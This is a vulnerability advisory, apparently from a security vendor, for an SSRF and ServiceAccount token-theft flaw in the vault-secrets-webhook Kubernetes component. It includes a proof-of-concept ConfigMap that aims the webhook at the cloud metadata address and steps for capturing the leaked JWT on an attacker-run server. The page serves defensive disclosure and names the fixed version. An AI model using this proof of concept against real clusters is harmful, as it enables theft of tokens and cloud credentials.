Summary
vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API
The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.
Details
parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:
if value, ok := annotations[common.VaultAddrAnnotation]; ok {
vaultConfig.Addr = value
}
No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.
MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:
clientConfig.Address = vaultConfig.Addr
vault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.
The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.
When VaultServiceaccountAnnotation is also set, at pkg/webhook/webhook.go:
mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
ctx, saName, &tokenRequest, metav1.CreateOptions{})
The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.
Proof of Concept
Create a ConfigMap in any watched namespace:
apiVersion: v1
kind: ConfigMap
metadata:
name: ssrf-poc
namespace: tenant-ns
annotations:
vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
vault.security.banzaicloud.io/vault-skip-verify: "true"
vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
secret-key: "vault:secret/data/test#value"
When this ConfigMap is created, the vault-secrets-webhook admission handler:
- Parses the annotations and reads
vault-addr: http://169.254.169.254/latest/meta-data/ - Calls
CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)using cluster-wideserviceaccounts/token:create - Calls
vault.NewClientFromConfigWithContextwhich POSTs the JWT tohttp://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login - On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity
For the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.
Impact
A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:
- Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS
- Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access
The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-54725 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.23.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54725? CVE-2026-54725 is a critical-severity server-side request forgery (SSRF) vulnerability in github.com/bank-vaults/vault-secrets-webhook (go), affecting versions <= 1.22.2. It is fixed in 1.23.1. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-54725? CVE-2026-54725 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/bank-vaults/vault-secrets-webhook are affected by CVE-2026-54725? github.com/bank-vaults/vault-secrets-webhook (go) versions <= 1.22.2 is affected.
- Is there a fix for CVE-2026-54725? Yes. CVE-2026-54725 is fixed in 1.23.1. Upgrade to this version or later.
- Is CVE-2026-54725 exploitable, and should I be worried? Whether CVE-2026-54725 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54725 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54725? Upgrade
github.com/bank-vaults/vault-secrets-webhookto 1.23.1 or later.